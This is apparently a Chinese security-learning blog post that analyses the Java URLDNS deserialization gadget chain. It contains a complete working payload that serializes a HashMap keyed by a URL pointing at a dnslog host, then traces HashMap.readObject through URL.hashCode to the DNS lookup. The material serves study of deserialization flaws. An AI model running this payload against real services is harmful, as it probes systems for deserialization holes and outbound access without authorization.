Java安全 反序列化(1) URLDNS链原理分析

Java安全 反序列化(1) URLDNS链原理分析


开始学习Java反序列化链–URLDNS

前置知识

请提前了解Java序列化和反序列化,熟悉Java反射机制

应用

1.判断是否存在反序列化的点

2.判断目标是否出网

先上payload 后进行分析

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class DnsTest {
    public static void main(String[] args) throws Exception {
        HashMap hashmap =new HashMap();
        URL url = new URL("http://wxzzwpgygc.dgrh3.cn");
        Class c = url.getClass();
        Field fieldhashcode=c.getDeclaredField("hashCode");
        fieldhashcode.setAccessible(true);
        fieldhashcode.set(url,222); //第一次查询的时候会进行缓存,所以让它不等于-1
        hashmap.put(url,2);
        fieldhashcode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询
        serialize(hashmap);
        unserialize();
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new
                FileOutputStream("ser.bin"));
        oos.writeObject(obj);
        oos.close();
    }
    public static void unserialize() throws IOException, ClassNotFoundException
    {
        ObjectInputStream ois = new ObjectInputStream(new
                FileInputStream("ser.bin"));
        ois.readObject();
        ois.close();
    }
}

image-20240315190036643

可以触发dns请求

分析payload

1.新建HashMap类

 HashMap hashmap =new HashMap();

什么是HashMap:

基于哈希表的实现的Map接口
在这里插入图片描述

HashMap是什么?

是键值对映射关系的集合,可以包含多对键值对
键是唯一的,值可以相同
HashMap<key的类型,value的类型> map =new HashMap<>();
map.put(key,value)存放了这对键值对
扩展HashMap中的Entry是什么
可以理解为HashMap的单体,包含一对键值对

为什么选择HashMap作为入口类?

1.因为入口重写了readobject方法
2.实现了反序列化接口
在这里插入图片描述

2.新建URL类

 URL url = new URL("http://wxzzwpgygc.dgrh3.cn");

3.获取URL 的 Class对象

 Class c = url.getClass();

用于操作反射

4.通过反射访问URL内部变量

 Field fieldhashcode=c.getDeclaredField("hashCode");
        fieldhashcode.setAccessible(true);

5.通过反射为URL中类赋值

 fieldhashcode.set(url,222); //第一次查询的时候会进行缓存,所以让它不等于-1

6.调用HashMap#put方法传入key和value

hashmap.put(url,2);

hashmap.put(key,value)

key 为前面新建的url类

value 为任意值

7.再次通过反射为URL类的hashcode赋值

fieldhashcode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询

赋值URL类中的hashcode为-1

触发dns请求,完成访问

原理分析

1.进行序列化

 public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new
                FileOutputStream("ser.bin"));
        oos.writeObject(obj);
        oos.close();
    }
 serialize(hashmap); //传入的obj为hashmap

image-20240315190440069

那么反序列化会自动触发HashMap的readobject方法

我们可以调试分析一下

Ctrl-B跟进实现原理

2.跟进HashMap的readobject方法

image-20240315191405977

在方法的最后调用了hash方法

image-20240315192007607

3.跟进hash方法

image-20240315192116541

进行判断只要key不为空

就 调用 key的hashCode()方法

我们传入的key是URL类的对象

所以调用的是URL#hashCode方法

4.可以跟进URL的hashCode方法

image-20240315192342511

只有hashCode为-1 时

会进入hashCode = handler.hashCode(this); this为当前对象的引用

5.跟进handler.hashCode方法

image-20240315192658793

我们在新建URL类时 传入了我们的dnslog地址

getHostAddress进行DNS解析,完成请求

细节问题

为什吗要给URL类hashCode赋值两次?

 fieldhashcode.set(url,222); //第一次查询的时候会进行缓存,所以让它不等于-1
        hashmap.put(url,2);
        fieldhashcode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询

第一次查询的时候会进行缓存触发dns请求,将URL.hashCode设置为-1,hashmap.put时也触发dns请求,我们可以做个实验

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class DnsTest {
    public static void main(String[] args) throws Exception {
        HashMap hashmap =new HashMap();
        URL url = new URL("http://rcjynkewns.dgrh3.cn");
//        Class c = url.getClass();
//        Field fieldhashcode=c.getDeclaredField("hashCode");
//        fieldhashcode.setAccessible(true);
//        fieldhashcode.set(url,222); //第一次查询的时候会进行缓存,所以让它不等于-1
        hashmap.put(url,2);
//        fieldhashcode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询
//        serialize(hashmap);
//        unserialize();
    }
//    public static void serialize(Object obj) throws IOException {
//        ObjectOutputStream oos = new ObjectOutputStream(new
//                FileOutputStream("ser.bin"));
//        oos.writeObject(obj);
//        oos.close();
//    }
//    public static void unserialize() throws IOException, ClassNotFoundException
//    {
//        ObjectInputStream ois = new ObjectInputStream(new
//                FileInputStream("ser.bin"));
//        ois.readObject();
//        ois.close();
//    }
//}

只留下了hashmap的put方法

image-20240315193323871

image-20240315193452950

可以发现照样触发
put为什么了触发dns请求

因为HashMap.put方法同样进行了hash(key)的操作最终还是调用了对象的hashCode()方法,因此重复了操作

image-20240322160435862

为了避免误判

我们先将URL.hashCode属性赋值为 只要不是-1的值

hashmap.put()方法后 不会进行dns查询

再通过反射修改URL.hashCode属性为-1 完成dns请求

  • 24
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值